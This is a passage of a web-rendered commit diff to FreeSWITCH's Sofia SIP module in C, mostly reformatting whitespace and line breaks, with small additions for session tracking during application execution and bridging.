</span><del>-                                                                TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
-                                                                         SIPTAG_HEADER_STR("X-FS-Support: "FREESWITCH_SUPPORT)),
-                                                                TAG_END());
</del><ins>+                                                                TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
+                                                                         SIPTAG_HEADER_STR("X-FS-Support: " FREESWITCH_SUPPORT)), TAG_END());
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         nua_respond(tech_pvt->nh, SIP_200_OK,
</span><span class="cx">                                                                 NUTAG_MEDIA_ENABLE(0),
</span><span class="lines">@@ -525,10 +564,9 @@
</span><span class="cx">                                                                 TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
</span><span class="cx">                                                                 TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
</span><span class="cx">                                                                 SIPTAG_CONTENT_TYPE_STR("application/sdp"),
</span><del>-                                                                SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),                                                                
-                                                                TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
-                                                                         SIPTAG_HEADER_STR("X-FS-Support: "FREESWITCH_SUPPORT)),
-                                                                TAG_END());
</del><ins>+                                                                SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
+                                                                TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
+                                                                         SIPTAG_HEADER_STR("X-FS-Support: " FREESWITCH_SUPPORT)), TAG_END());
</ins><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "3PCC-PROXY, Sent a 200 OK, waiting for ACK\n");
</span><span class="lines">@@ -538,14 +576,14 @@
</span><span class="cx">                         /* Unlock the session signal to allow the ack to make it in */
</span><span class="cx">                         // Maybe we should timeout?
</span><span class="cx">                         switch_mutex_unlock(tech_pvt->sofia_mutex);
</span><del>-                        
-                        while(switch_channel_ready(channel) && !sofia_test_flag(tech_pvt, TFLAG_3PCC_HAS_ACK)) {
</del><ins>+
+                        while (switch_channel_ready(channel) && !sofia_test_flag(tech_pvt, TFLAG_3PCC_HAS_ACK)) {
</ins><span class="cx">                                 switch_cond_next();
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         /* Regain lock on sofia */
</span><span class="cx">                         switch_mutex_lock(tech_pvt->sofia_mutex);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "3PCC-PROXY, Done waiting for ACK\n");
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><span class="lines">@@ -578,7 +616,7 @@
</span><span class="cx">                         switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                         return status;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
</span><span class="cx">                 if (sofia_glue_activate_rtp(tech_pvt, 0) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="lines">@@ -586,7 +624,8 @@
</span><span class="cx">
</span><span class="cx">                 if (tech_pvt->nh) {
</span><span class="cx">                         if (tech_pvt->local_sdp_str) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Local SDP %s:\n%s\n", switch_channel_get_name(channel), tech_pvt->local_sdp_str);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Local SDP %s:\n%s\n", switch_channel_get_name(channel),
+                                                                 tech_pvt->local_sdp_str);
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -618,11 +657,10 @@
</span><span class="cx">                                                 SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
</span><span class="cx">                                                 SIPTAG_CALL_INFO_STR(switch_channel_get_variable(tech_pvt->channel, SOFIA_SIP_HEADER_PREFIX "call_info")),
</span><span class="cx">                                                 SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
</span><del>-                                                SOATAG_REUSE_REJECTED(1), SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1),
</del><ins>+                                                SOATAG_REUSE_REJECTED(1), SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1),
</ins><span class="cx">                                                 TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
</span><del>-                                                TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
-                                                         SIPTAG_HEADER_STR("X-FS-Support: "FREESWITCH_SUPPORT)),
-                                                TAG_END());
</del><ins>+                                                TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
+                                                         SIPTAG_HEADER_STR("X-FS-Support: " FREESWITCH_SUPPORT)), TAG_END());
</ins><span class="cx">                 } else {
</span><span class="cx">                         nua_respond(tech_pvt->nh, SIP_200_OK,
</span><span class="cx">                                                 NUTAG_AUTOANSWER(0),
</span><span class="lines">@@ -634,11 +672,10 @@
</span><span class="cx">                                                 SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
</span><span class="cx">                                                 SIPTAG_CALL_INFO_STR(switch_channel_get_variable(tech_pvt->channel, SOFIA_SIP_HEADER_PREFIX "call_info")),
</span><span class="cx">                                                 SIPTAG_CONTENT_TYPE_STR("application/sdp"),
</span><del>-                                                SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),                                                
</del><ins>+                                                SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
</ins><span class="cx">                                                 TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
</span><del>-                                                TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
-                                                         SIPTAG_HEADER_STR("X-FS-Support: "FREESWITCH_SUPPORT)),
-                                                TAG_END());
</del><ins>+                                                TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
+                                                         SIPTAG_HEADER_STR("X-FS-Support: " FREESWITCH_SUPPORT)), TAG_END());
</ins><span class="cx">                 }
</span><span class="cx">                 switch_safe_free(extra_headers);
</span><span class="cx">                 sofia_set_flag_locked(tech_pvt, TFLAG_ANS);
</span><span class="lines">@@ -778,7 +815,7 @@
</span><span class="cx">         tech_pvt->read_frame.datalen = 0;
</span><span class="cx">         sofia_set_flag_locked(tech_pvt, TFLAG_READING);
</span><span class="cx">
</span><del>-        if (sofia_test_flag(tech_pvt, TFLAG_HUP) || sofia_test_flag(tech_pvt, TFLAG_BYE) || !tech_pvt->read_codec.implementation ||
</del><ins>+        if (sofia_test_flag(tech_pvt, TFLAG_HUP) || sofia_test_flag(tech_pvt, TFLAG_BYE) || !tech_pvt->read_codec.implementation ||
</ins><span class="cx">                 !switch_core_codec_ready(&tech_pvt->read_codec)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -792,7 +829,7 @@
</span><span class="cx">
</span><span class="cx">                 switch_assert(tech_pvt->rtp_session != NULL);
</span><span class="cx">                 tech_pvt->read_frame.datalen = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 while (sofia_test_flag(tech_pvt, TFLAG_IO) && tech_pvt->read_frame.datalen == 0) {
</span><span class="cx">                         tech_pvt->read_frame.flags = SFF_NONE;
</span><span class="cx">
</span><span class="lines">@@ -800,13 +837,13 @@
</span><span class="cx">
</span><span class="cx">                         if (status != SWITCH_STATUS_SUCCESS && status != SWITCH_STATUS_BREAK) {
</span><span class="cx">                                 if (status == SWITCH_STATUS_TIMEOUT) {
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (sofia_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
</span><span class="cx">                                                 sofia_glue_toggle_hold(tech_pvt, 0);
</span><span class="cx">                                                 sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
</span><span class="cx">                                                 switch_channel_clear_flag(channel, CF_LEG_HOLDING);
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_channel_hangup(tech_pvt->channel, SWITCH_CAUSE_MEDIA_TIMEOUT);
</span><span class="cx">                                 }
</span><span class="cx">                                 return status;
</span><span class="lines">@@ -836,26 +873,26 @@
</span><span class="cx">                                                 *frame = NULL;
</span><span class="cx">                                                 return SWITCH_STATUS_GENERR;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if ((tech_pvt->read_frame.datalen % 10) == 0 &&
</span><span class="cx">                                                 sofia_test_pflag(tech_pvt->profile, PFLAG_AUTOFIX_TIMING) && tech_pvt->check_frames < MAX_CODEC_CHECK_FRAMES) {
</span><span class="cx">                                                 tech_pvt->check_frames++;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (!tech_pvt->read_impl.encoded_bytes_per_packet) {
</span><span class="cx">                                                         tech_pvt->check_frames = MAX_CODEC_CHECK_FRAMES;
</span><span class="cx">                                                         goto skip;
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (tech_pvt->last_ts && tech_pvt->read_frame.datalen != tech_pvt->read_impl.encoded_bytes_per_packet) {
</span><del>-                                                        uint32_t codec_ms = (int)(tech_pvt->read_frame.timestamp -
-                                                                                                                 tech_pvt->last_ts) / (tech_pvt->read_impl.samples_per_second / 1000);
</del><ins>+                                                        uint32_t codec_ms = (int) (tech_pvt->read_frame.timestamp -
+                                                                                                         tech_pvt->last_ts) / (tech_pvt->read_impl.samples_per_second / 1000);
</ins><span class="cx">
</span><span class="cx">                                                         if ((codec_ms % 10) != 0 || codec_ms > tech_pvt->read_impl.samples_per_packet * 10) {
</span><span class="cx">                                                                 tech_pvt->last_ts = 0;
</span><span class="cx">                                                                 goto skip;
</span><span class="cx">                                                         }
</span><del>-                                                        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                                                         if (tech_pvt->last_codec_ms && tech_pvt->last_codec_ms == codec_ms) {
</span><span class="cx">                                                                 tech_pvt->mismatch_count++;
</span><span class="cx">                                                         }
</span><span class="lines">@@ -867,72 +904,72 @@
</span><span class="cx">                                                                         const char *val;
</span><span class="cx">                                                                         int rtp_timeout_sec = 0;
</span><span class="cx">                                                                         int rtp_hold_timeout_sec = 0;
</span><del>-                                                                
-                                                                        if (codec_ms > 120) { /* yeah right */
-                                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</del><ins>+
+                                                                        if (codec_ms > 120) {        /* yeah right */
+                                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</ins><span class="cx">                                                                                                                  "Your phone is trying to send timestamps that suggest an increment of %dms per packet\n"
</span><del>-                                                                                                                 "That seems hard to believe so I am going to go on ahead and um ignore that, mmkay?", (int)codec_ms);
</del><ins>+                                                                                                                 "That seems hard to believe so I am going to go on ahead and um ignore that, mmkay?",
+                                                                                                                 (int) codec_ms);
</ins><span class="cx">                                                                                 tech_pvt->check_frames = MAX_CODEC_CHECK_FRAMES;
</span><span class="cx">                                                                                 goto skip;
</span><span class="cx">                                                                         }
</span><span class="cx">
</span><span class="cx">                                                                         tech_pvt->read_frame.datalen = 0;
</span><del>-                                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</del><ins>+                                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</ins><span class="cx">                                                                                                          "We were told to use ptime %d but what they meant to say was %d\n"
</span><del>-                                                                                                         "This issue has so far been identified to happen on the following broken platforms/devices:\n"
</del><ins>+                                                                                                         "This issue has so far been identified to happen on the following broken platforms/devices:\n"
</ins><span class="cx">                                                                                                          "Linksys/Sipura aka Cisco\n"
</span><span class="cx">                                                                                                          "ShoreTel\n"
</span><span class="cx">                                                                                                          "Sonus/L3\n"
</span><del>-                                                                                                         "We will try to fix it but some of the devices on this list are so broken who knows what will happen..\n"
-                                                                                                         ,
-                                                                                                         (int)tech_pvt->codec_ms, (int)codec_ms);
</del><ins>+                                                                                                         "We will try to fix it but some of the devices on this list are so broken who knows what will happen..\n",
+                                                                                                         (int) tech_pvt->codec_ms, (int) codec_ms);
</ins><span class="cx">
</span><del>-                                                                        switch_channel_set_variable_printf(channel, "sip_h_X-Broken-PTIME", "Adv=%d;Sent=%d",
-                                                                                                                                         (int)tech_pvt->codec_ms, (int)codec_ms);
</del><ins>+                                                                        switch_channel_set_variable_printf(channel, "sip_h_X-Broken-PTIME", "Adv=%d;Sent=%d",
+                                                                                                                                         (int) tech_pvt->codec_ms, (int) codec_ms);
</ins><span class="cx">
</span><span class="cx">                                                                         tech_pvt->codec_ms = codec_ms;
</span><del>-                                                                        
</del><ins>+
</ins><span class="cx">                                                                         if (sofia_glue_tech_set_codec(tech_pvt, 2) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                                                 *frame = NULL;
</span><span class="cx">                                                                                 return SWITCH_STATUS_GENERR;
</span><span class="cx">                                                                         }
</span><del>-                                                                        
</del><ins>+
</ins><span class="cx">                                                                         if ((val = switch_channel_get_variable(tech_pvt->channel, "rtp_timeout_sec"))) {
</span><span class="cx">                                                                                 int v = atoi(val);
</span><span class="cx">                                                                                 if (v >= 0) {
</span><span class="cx">                                                                                         rtp_timeout_sec = v;
</span><span class="cx">                                                                                 }
</span><span class="cx">                                                                         }
</span><del>-                                                                        
</del><ins>+
</ins><span class="cx">                                                                         if ((val = switch_channel_get_variable(tech_pvt->channel, "rtp_hold_timeout_sec"))) {
</span><span class="cx">                                                                                 int v = atoi(val);
</span><span class="cx">                                                                                 if (v >= 0) {
</span><span class="cx">                                                                                         rtp_hold_timeout_sec = v;
</span><span class="cx">                                                                                 }
</span><span class="cx">                                                                         }
</span><del>-                                                                        
</del><ins>+
</ins><span class="cx">                                                                         if (rtp_timeout_sec) {
</span><span class="cx">                                                                                 tech_pvt->max_missed_packets = (tech_pvt->read_impl.samples_per_second * rtp_timeout_sec) /
</span><span class="cx">                                                                                         tech_pvt->read_impl.samples_per_packet;
</span><del>-                                                                                
</del><ins>+
</ins><span class="cx">                                                                                 switch_rtp_set_max_missed_packets(tech_pvt->rtp_session, tech_pvt->max_missed_packets);
</span><span class="cx">                                                                                 if (!rtp_hold_timeout_sec) {
</span><span class="cx">                                                                                         rtp_hold_timeout_sec = rtp_timeout_sec * 10;
</span><span class="cx">                                                                                 }
</span><span class="cx">                                                                         }
</span><del>-                                                                        
</del><ins>+
</ins><span class="cx">                                                                         if (rtp_hold_timeout_sec) {
</span><span class="cx">                                                                                 tech_pvt->max_missed_hold_packets = (tech_pvt->read_impl.samples_per_second * rtp_hold_timeout_sec) /
</span><span class="cx">                                                                                         tech_pvt->read_impl.samples_per_packet;
</span><span class="cx">                                                                         }
</span><del>-                                                                        
-                                                                        
</del><ins>+
+
</ins><span class="cx">                                                                         tech_pvt->check_frames = 0;
</span><span class="cx">                                                                         tech_pvt->last_ts = 0;
</span><span class="cx">
</span><span class="cx">                                                                         /* inform them of the codec they are actually sending */
</span><span class="cx">                                                                         if (++tech_pvt->codec_reinvites > 2) {
</span><del>-                                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</del><ins>+                                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</ins><span class="cx">                                                                                                                  "Ok, some devices *cough* X-lite *cough*\n"
</span><span class="cx">                                                                                                                  "seem to continue to lie over and over again so I guess we'll\n"
</span><span class="cx">                                                                                                                  "leave well-enough alone and let them lie\n");
</span><span class="lines">@@ -941,9 +978,9 @@
</span><span class="cx">                                                                         }
</span><span class="cx">
</span><span class="cx">                                                                 }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                 } else {
</span><span class="cx">                                                         tech_pvt->mismatch_count = 0;
</span><span class="cx">                                                 }
</span><span class="lines">@@ -952,8 +989,8 @@
</span><span class="cx">                                                 tech_pvt->mismatch_count = 0;
</span><span class="cx">                                                 tech_pvt->last_ts = 0;
</span><span class="cx">                                         }
</span><del>-                                skip:
-                                        
</del><ins>+                                 skip:
+
</ins><span class="cx">                                         if ((bytes = tech_pvt->read_impl.encoded_bytes_per_packet)) {
</span><span class="cx">                                                 frames = (tech_pvt->read_frame.datalen / bytes);
</span><span class="cx">                                         }
</span><span class="lines">@@ -1121,6 +1158,11 @@
</span><span class="cx">
</span><span class="cx">         /* ones that do not need to lock sofia mutex */
</span><span class="cx">         switch (msg->message_id) {
</span><ins>+        case SWITCH_MESSAGE_INDICATE_APPLICATION_EXEC:
+                {
+                        sofia_glue_tech_track(tech_pvt->profile, session);
+                }
+                break;
</ins><span class="cx">         case SWITCH_MESSAGE_INDICATE_PROXY_MEDIA:
</span><span class="cx">                 {
</span><span class="cx">                         if (switch_rtp_ready(tech_pvt->rtp_session)) {
</span><span class="lines">@@ -1167,10 +1209,11 @@
</span><span class="cx">                 {
</span><span class="cx">                         const char *network_addr_a, *network_addr_b, *simplify_a, *simplify_b;
</span><span class="cx">                         int s_ok = 0;
</span><ins>+                        int do_s = 0;
</ins><span class="cx">
</span><span class="cx">                         simplify_a = switch_channel_get_variable(channel, "sip_auto_simplify");
</span><span class="cx">                         simplify_b = switch_channel_get_variable_partner(channel, "sip_auto_simplify");
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_true(simplify_a)) {
</span><span class="cx">                                 if (switch_true(simplify_b) && !switch_channel_test_flag(channel, CF_BRIDGE_ORIGINATOR)) {
</span><span class="cx">                                         s_ok = 0;
</span><span class="lines">@@ -1182,27 +1225,32 @@
</span><span class="cx">                         if (s_ok) {
</span><span class="cx">                                 network_addr_a = switch_channel_get_variable(channel, "network_addr");
</span><span class="cx">                                 network_addr_b = switch_channel_get_variable_partner(channel, "network_addr");
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!zstr(network_addr_a) && !zstr(network_addr_b) && !strcmp(network_addr_a, network_addr_b)) {
</span><del>-                                        if (strcmp(network_addr_a, switch_str_nil(tech_pvt->profile->sipip)) &&
</del><ins>+                                        if (strcmp(network_addr_a, switch_str_nil(tech_pvt->profile->sipip)) &&
</ins><span class="cx">                                                 strcmp(network_addr_a, switch_str_nil(tech_pvt->profile->extsipip))) {
</span><span class="cx">                                                 switch_core_session_message_t smsg = { 0 };
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                                 smsg.message_id = SWITCH_MESSAGE_INDICATE_SIMPLIFY;
</span><span class="cx">                                                 smsg.from = __FILE__;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 status = switch_core_session_receive_message(session, &smsg);
</span><ins>+                                                do_s = 1;
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
+                        if (!do_s) {
+                                sofia_glue_tech_track(tech_pvt->profile, session);
+                        }
+
</ins><span class="cx">                         if (switch_rtp_ready(tech_pvt->rtp_session)) {
</span><span class="cx">                                 const char *val;
</span><span class="cx">                                 int ok = 0;
</span><span class="cx">
</span><span class="cx">                                 if (sofia_test_flag(tech_pvt, TFLAG_PASS_RFC2833) && switch_channel_test_flag_partner(channel, CF_FS_RTP)) {
</span><span class="cx">                                         switch_rtp_set_flag(tech_pvt->rtp_session, SWITCH_RTP_FLAG_PASS_RFC2833);
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</ins><span class="cx">                                                                          "%s activate passthru 2833 mode.\n", switch_channel_get_name(channel));
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="lines">@@ -1211,7 +1259,7 @@
</span><span class="cx">                                 } else {
</span><span class="cx">                                         ok = sofia_test_pflag(tech_pvt->profile, PFLAG_RTP_AUTOFLUSH_DURING_BRIDGE);
</span><span class="cx">                                 }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                                 if (ok) {
</span><span class="cx">                                         rtp_flush_read_buffer(tech_pvt->rtp_session, SWITCH_RTP_FLUSH_STICK);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -1226,7 +1274,8 @@
</span><span class="cx">                         int ok = 0;
</span><span class="cx">
</span><span class="cx">                         if (switch_rtp_test_flag(tech_pvt->rtp_session, SWITCH_RTP_FLAG_PASS_RFC2833)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s deactivate passthru 2833 mode.\n", switch_channel_get_name(channel));
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s deactivate passthru 2833 mode.\n",
+                                                                 switch_channel_get_name(channel));
</ins><span class="cx">                                 switch_rtp_clear_flag(tech_pvt->rtp_session, SWITCH_RTP_FLAG_PASS_RFC2833);
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="lines">@@ -1235,13 +1284,15 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 ok = sofia_test_pflag(tech_pvt->profile, PFLAG_RTP_AUTOFLUSH_DURING_BRIDGE);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (ok) {
</span><span class="cx">                                 rtp_flush_read_buffer(tech_pvt->rtp_session, SWITCH_RTP_FLUSH_UNSTICK);
</span><span class="cx">                         } else {
</span><span class="cx">                                 rtp_flush_read_buffer(tech_pvt->rtp_session, SWITCH_RTP_FLUSH_ONCE);
</span><span class="cx">                         }
</span><span class="cx">
</span><ins>+                        //sofia_glue_tech_untrack(tech_pvt->profile, session);
+
</ins><span class="cx">                 }
</span><span class="cx">                 goto end;
</span><span class="cx">         case SWITCH_MESSAGE_INDICATE_AUDIO_SYNC:
</span><span class="lines">@@ -1266,11 +1317,11 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (presence_id || presence_data) {
</span><span class="cx">                                 char *sql = switch_mprintf("update sip_dialogs set presence_id='%q',presence_data='%q' "
</span><del>-                                                                         "where uuid='%s';\n", switch_str_nil(presence_id), switch_str_nil(presence_data),
-                                                                         switch_core_session_get_uuid(session));
</del><ins>+                                                                                 "where uuid='%s';\n", switch_str_nil(presence_id), switch_str_nil(presence_data),
+                                                                                 switch_core_session_get_uuid(session));
</ins><span class="cx">                                 switch_assert(sql);
</span><span class="cx">                                 sofia_glue_execute_sql_now(tech_pvt->profile, &sql, SWITCH_TRUE);
</span><span class="cx">                         }
</span><span class="lines">@@ -1279,12 +1330,11 @@
</span><span class="cx">                         if ((var = switch_channel_get_variable(channel, SOFIA_SECURE_MEDIA_VARIABLE)) && switch_true(var)) {
</span><span class="cx">                                 sofia_set_flag_locked(tech_pvt, TFLAG_SECURE);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (sofia_test_pflag(tech_pvt->profile, PFLAG_AUTOFIX_TIMING)) {
</span><span class="cx">                                 tech_pvt->check_frames = 0;
</span><span class="cx">                                 tech_pvt->last_ts = 0;
</span><span class="cx">                         }
</span><del>-
</del><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         default:
</span><span class="lines">@@ -1307,11 +1357,7 @@
</span><span class="cx">                                 " <media_control>\r\n"
</span><span class="cx">                                 " <vc_primitive>\r\n"
</span><span class="cx">                                 " <to_encoder>\r\n"
</span><del>-                                " <picture_fast_update>\r\n"
-                                " </picture_fast_update>\r\n"
-                                " </to_encoder>\r\n"
-                                " </vc_primitive>\r\n"
-                                " </media_control>\r\n";
</del><ins>+                                " <picture_fast_update>\r\n" " </picture_fast_update>\r\n" " </to_encoder>\r\n" " </vc_primitive>\r\n" " </media_control>\r\n";
</ins><span class="cx">
</span><span class="cx">                         nua_info(tech_pvt->nh, SIPTAG_CONTENT_TYPE_STR("application/media_control+xml"), SIPTAG_PAYLOAD_STR(pl), TAG_END());
</span><span class="cx">
</span><span class="lines">@@ -1331,15 +1377,13 @@
</span><span class="cx">                                         nua_respond(tech_pvt->nh, SIP_200_OK,
</span><span class="cx">                                                                 SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
</span><span class="cx">                                                                 SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
</span><del>-                                                                SOATAG_REUSE_REJECTED(1), SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1),
</del><ins>+                                                                SOATAG_REUSE_REJECTED(1), SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1),
</ins><span class="cx">                                                                 TAG_END());
</span><span class="cx">                                 } else {
</span><span class="cx">                                         nua_respond(tech_pvt->nh, SIP_200_OK,
</span><span class="cx">                                                                 NUTAG_MEDIA_ENABLE(0),
</span><span class="cx">                                                                 SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
</span><del>-                                                                SIPTAG_CONTENT_TYPE_STR("application/sdp"),
-                                                                SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),                                                                
-                                                                TAG_END());
</del><ins>+                                                                SIPTAG_CONTENT_TYPE_STR("application/sdp"), SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str), TAG_END());
</ins><span class="cx">                                 }
</span><span class="cx">                                 switch_channel_mark_answered(channel);
</span><span class="cx">                         }
</span><span class="lines">@@ -1370,14 +1414,14 @@
</span><span class="cx">                         if (!tech_pvt->local_sdp_str) {
</span><span class="cx">                                 sofia_glue_tech_absorb_sdp(tech_pvt);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         sofia_glue_do_invite(session);
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">
</span><span class="cx">         case SWITCH_MESSAGE_INDICATE_MEDIA_REDIRECT:
</span><span class="cx">                 {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Sending media re-direct:\n%s\n",
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Sending media re-direct:\n%s\n",
</ins><span class="cx">                                                          switch_channel_get_name(channel), msg->string_arg);
</span><span class="cx">                         sofia_glue_tech_set_local_sdp(tech_pvt, msg->string_arg, SWITCH_TRUE);
</span><span class="cx">
</span><span class="lines">@@ -1394,9 +1438,9 @@
</span><span class="cx">
</span><span class="cx">                         sofia_glue_set_image_sdp(tech_pvt, t38_options);
</span><span class="cx">
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Sending request for image media. %s\n",
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Sending request for image media. %s\n",
</ins><span class="cx">                                                          switch_channel_get_name(channel), tech_pvt->local_sdp_str);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                         switch_channel_set_flag(channel, CF_REQ_MEDIA);
</span><span class="cx">                         sofia_set_flag_locked(tech_pvt, TFLAG_SENT_UPDATE);
</span><span class="cx">                         sofia_glue_do_invite(session);
</span><span class="lines">@@ -1405,48 +1449,48 @@
</span><span class="cx">
</span><span class="cx">         case SWITCH_MESSAGE_INDICATE_MEDIA:
</span><span class="cx">                 {
</span><del>- uint32_t send_invite = 1;
</del><ins>+                        uint32_t send_invite = 1;
</ins><span class="cx">
</span><span class="cx">                         switch_channel_clear_flag(channel, CF_PROXY_MODE);
</span><span class="cx">                         sofia_glue_tech_set_local_sdp(tech_pvt, NULL, SWITCH_FALSE);
</span><span class="cx">
</span><del>- if (!(switch_channel_test_flag(channel, CF_ANSWERED) || switch_channel_test_flag(channel, CF_EARLY_MEDIA))) {
- if (!switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND)) {
- const char *r_sdp = switch_channel_get_variable(channel, SWITCH_R_SDP_VARIABLE);
</del><ins>+                        if (!(switch_channel_test_flag(channel, CF_ANSWERED) || switch_channel_test_flag(channel, CF_EARLY_MEDIA))) {
+                                if (!switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND)) {
+                                        const char *r_sdp = switch_channel_get_variable(channel, SWITCH_R_SDP_VARIABLE);
</ins><span class="cx">
</span><del>- tech_pvt->num_codecs = 0;
</del><ins>+                                        tech_pvt->num_codecs = 0;
</ins><span class="cx">                                         sofia_glue_tech_prepare_codecs(tech_pvt);
</span><del>- if (sofia_glue_tech_media(tech_pvt, r_sdp) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                        if (sofia_glue_tech_media(tech_pvt, r_sdp) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                                 switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "CODEC NEGOTIATION ERROR");
</span><del>- status = SWITCH_STATUS_FALSE;
- goto end_lock;
- }
- send_invite = 0;
- }
- }
</del><ins>+                                                status = SWITCH_STATUS_FALSE;
